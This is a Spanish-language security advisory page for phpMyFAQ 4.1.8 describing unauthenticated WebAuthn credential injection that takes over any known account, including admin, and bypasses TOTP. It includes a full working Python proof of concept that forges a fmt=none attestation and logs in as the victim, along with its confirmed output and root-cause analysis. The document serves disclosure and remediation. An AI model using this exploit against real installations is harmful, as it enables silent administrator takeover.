GHSA-G6CQ-6RQG-6C9P
Inyección no autenticada de credenciales WebAuthn en cualquier cuenta conocida (desafío nunca validado, `fmt=none` aceptado) → toma de control de cuentas, omite contraseña y TOTP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-G6CQ-6RQG-6C9P divulgada · CVSS 9.8 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Resumen
Los endpoints de registro WebAuthn de phpMyFAQ realizan una operación de seguridad a nivel de cuenta, que consiste en asociar una credencial de inicio de sesión a una cuenta de usuario, sin exigir la autenticación del propietario de la cuenta y sin validar el desafío de la ceremonia emitido por el servidor.
Un atacante no autenticado puede:
- Obtener de forma anónima el token CSRF requerido desde la página pública `/index.php?action=register`,
- Preparar *cualquier* nombre de usuario existente (por ejemplo, `admin`) en su propia sesión mediante `POST /api/webauthn/prepare`,
- Enviar una atestación CBOR elaborada manualmente (`fmt=none`, sin necesidad de firma) a `POST /api/webauthn/register`. La nueva clave pública queda persistida en la cuenta de la víctima,
- Iniciar sesión como esa víctima con una aserción auténtica de la clave del atacante mediante `/api/webauthn/prepare-login` + `/api/webauthn/login`.
La clave de acceso inyectada sobrevive a los cambios de contraseña, y la ruta de inicio de sesión WebAuthn nunca consulta `twofactor_enabled`, por lo que también anula la autenticación de dos factores basada en TOTP.
Se verificó de extremo a extremo en phpMyFAQ 4.1.8 (etiqueta `4.1.8`, commit `33fae25eb`) y en la rama de desarrollo actual (`main` @ `f4e006fd9`). El encabezado del archivo fecha la función WebAuthn el 2024-09-11; es probable que las versiones anteriores que incluyan el mismo código también estén afectadas (no verificado individualmente).
Componentes y versiones afectadas
- Componente: `phpmyfaq/src/phpMyFAQ/Controller/Frontend/WebAuthnController.php` y `phpmyfaq/src/phpMyFAQ/Auth/AuthWebAuthn.php`
- Verificadas como afectadas: 4.1.8 (versión estable actual de la línea 4.1.x con soporte de seguridad) y la rama `main` actual (`f4e006fd9`)
- Función introducida: 2024-09-11 (según el encabezado `@since`); probablemente afecta a versiones anteriores que incluyan la función, aunque no verificado
Impacto
Un atacante remoto no autenticado puede tomar el control de cualquier cuenta cuyo nombre de usuario conozca, incluidas las cuentas de superadministrador, en instalaciones con soporte WebAuthn habilitado:
- Acceso completo a la sesión y los privilegios de la víctima (panel de administración, todos los datos de preguntas frecuentes, usuarios y configuración),
- Omisión de la autenticación de dos factores TOTP en la cuenta afectada (la ruta de inicio de sesión WebAuthn concede directamente la sesión principal),
- Persistencia: la credencial maliciosa permanece vinculada a la cuenta hasta que las claves se restablezcan explícitamente.
El peor escenario realista es el compromiso total y silencioso de la cuenta de administrador de una instancia de phpMyFAQ.
Requisitos previos
- `security.enableWebAuthnSupport = true` (opción no predeterminada que debe habilitar el administrador). Nótese que `security.enableRegistration` tiene como valor predeterminado `true` y solo controla la rama de creación de usuarios de `prepare()`.
- El atacante conoce un nombre de usuario objetivo (los nombres de usuario suelen revelarse en el contenido de las preguntas frecuentes; `admin` es el convencional).
- Alcance de red a la interfaz pública.
No requiere interacción del usuario, ni privilegios, ni navegador (completamente automatizable con un cliente HTTP simple y ECDSA P-256).
Reproducción mínima
Entorno: Podman sin privilegios de root, `php:8.4-apache` sirviendo el código fuente de la etiqueta `4.1.8` (`33fae25eb`) + MariaDB 11, instalado mediante el asistente de configuración estándar, con `security.enableWebAuthnSupport=true`.
PoC completo automatizado (Python 3, `requests`/`cbor2`/`cryptography`):
#!/usr/bin/env python3
import base64, hashlib, json, os, re, sys
import cbor2, requests
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
BASE = "http://127.0.0.1:8080"
APPID = "127.0.0.1" # Utils::getHostFromUrl(main.defaultUrl) — bare host, no port
VICTIM = "admin"
s = requests.Session()
# 1) anonymous session + 'webauthn-prepare' CSRF token from the PUBLIC register page
r = s.get(f"{BASE}/?action=register")
token_prepare = re.search(r'id="pmf-csrf-token-webauthn"\s+value="([^"]+)"', r.text).group(1)
# 2) stage the VICTIM in our anonymous session
r = s.post(f"{BASE}/api/webauthn/prepare", json={"username": VICTIM, "csrfToken": token_prepare})
prep = r.json()
token_register = prep["csrfToken"]
print("staged:", prep["challenge"]["publicKey"]["user"]) # -> victim id bytes
# 3) forge attestation: fmt=none (no signature), challenge value irrelevant (never checked)
priv = ec.generate_private_key(ec.SECP256R1())
x, y = priv.public_key().public_numbers().x.to_bytes(32,"big"), \
priv.public_key().public_numbers().y.to_bytes(32,"big")
cose_key = cbor2.dumps({1:2, 3:-7, -1:1, -2:x, -3:y})
cred_id = os.urandom(32)
auth_data = hashlib.sha256(APPID.encode()).digest() + bytes([0x45]) + (0).to_bytes(4,"big") \
+ b"\x00"*16 + len(cred_id).to_bytes(2,"big") + cred_id + cose_key
att_obj = cbor2.dumps({"fmt":"none","attStmt":{},"authData":auth_data})
r = s.post(f"{BASE}/api/webauthn/register", json={"csrfToken": token_register, "register": json.dumps({
"id": list(cred_id), "rawId": list(cred_id), "type": "public-key",
"response": {"attestationObject": list(att_obj), "clientDataJSON": []}})})
assert r.status_code == 200, r.text # key now persisted to the VICTIM's faquser row
# 4) log in as the victim with a genuine assertion from the injected key
r = s.post(f"{BASE}/api/webauthn/prepare-login", json={"username": VICTIM})
chal = base64.urlsafe_b64encode(bytes(r.json()["challenge"])).rstrip(b"=").decode()
client_data = json.dumps({"type":"webauthn.get","challenge":chal,
"origin": f"http://{BASE.split('//')[1]}"}).encode()
rp_h = hashlib.sha256(APPID.encode()).digest()
ad = rp_h + bytes([0x05]) + (1).to_bytes(4,"big")
sig = priv.sign(rp_h + bytes([0x05]) + (1).to_bytes(4,"big") +
hashlib.sha256(client_data).digest(), ec.ECDSA(hashes.SHA256()))
r = s.post(f"{BASE}/api/webauthn/login", json={"username": VICTIM, "login": {
"id": list(cred_id), "rawId": list(cred_id), "type": "public-key",
"response": {"clientData": json.loads(client_data),
"clientDataJSONarray": list(client_data),
"authenticatorData": list(ad),
"signature": list(sig)}}}})
assert r.json()["success"] == "ok", r.text # authenticated as VICTIM
# proof: attacker session now serves the admin panel
r = s.get(f"{BASE}/admin/", allow_redirects=False)
print("GET /admin/ ->", r.status_code) # 200 = admin sessionSalida observada en la compilación local:
[1] register.php 200; prepare-token = fb0a13e7534c...
[2] prepare OK — staged user 'admin' (id bytes: [49]), register-token issued to ANONYMOUS session
[3] register -> HTTP 200: {"success":"ok","message":"The registration was successful. You can now log in with your Passkey."}
[4] webauthn/login -> HTTP 200: {"success":"ok","redirect":"http:\/\/127.0.0.1\/"}
[5] GET /admin/ after injection -> HTTP 200 (AUTHENTICATED ADMIN SESSION)
VERDICT: CONFIRMEDComportamiento esperado frente al real: lo correcto sería que `register` rechazara una ceremonia de credenciales no iniciada por un propietario autenticado de la cuenta de destino, y/o que rechazara atestaciones cuyo desafío no coincida con el emitido. Sin embargo, la credencial se asocia silenciosamente a `admin` y una aserción posterior autentica al atacante como `admin`.
Análisis de causa raíz
Tres defectos independientes se combinan:
- Ausencia de autenticación en una operación de escritura de credenciales. `WebAuthnController` implementa `SkipsAuthenticationCheck`; `prepare()` almacena en la sesión un nombre de usuario elegido por el atacante (`WebAuthnUser::setName($username)` ← `$data->username`), y `register()` persiste las claves para exactamente esa identidad almacenada mediante `$this->user->getUserByLogin($webAuthnUser->getName())` + `setWebAuthnKeys()` (WebAuthnController.php:130–139). Nada vincula la operación a un propietario autenticado de esa cuenta. Los tokens CSRF involucrados son valores vinculados a la sesión y generados anónimamente por páginas públicas (`Token::getTokenString('webauthn-prepare')` en `register.php:56`): demuestran la posesión de la sesión, no la autorización.
- El desafío emitido nunca se valida en el registro. `prepareChallengeForRegistration()` genera un desafío aleatorio y lo devuelve al cliente, pero `AuthWebAuthn::register()` (líneas 152–257) nunca compara `clientDataJSON.challenge` de la atestación con nada. Contrasta con `authenticate()` (líneas 330–340), que sí lo hace correctamente en el inicio de sesión. Por tanto, la ceremonia puede reproducirse o fabricarse y no está vinculada a la sesión que la inició.
- Se acepta `fmt=none` sin requisito de atestación. Combinado con (1) y (2), un cliente HTTP simple puede fabricar los bytes de `attestationObject` (rpIdHash = SHA-256 del nombre de host de la instalación, indicadores `0x45`, clave COSE P-256 arbitraria). No interviene ningún hardware ni navegador.
Agravante: `WebAuthnController::login()` concede la sesión principal (`setLoggedIn(true)` … `saveToSession()`) sin consultar `twofactor_enabled`, por lo que una clave de acceso registrada reemplaza por completo al TOTP.
Sugerencia de remediación de la causa raíz
- Exigir una sesión autenticada que sea propietaria de la cuenta de destino para `prepare`/`register` (eliminar estas acciones de la ruta rápida `SkipsAuthenticationCheck` o añadir un
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistphpmyfaq/phpmyfaq |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-g6cq-6rqg-6c9pLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
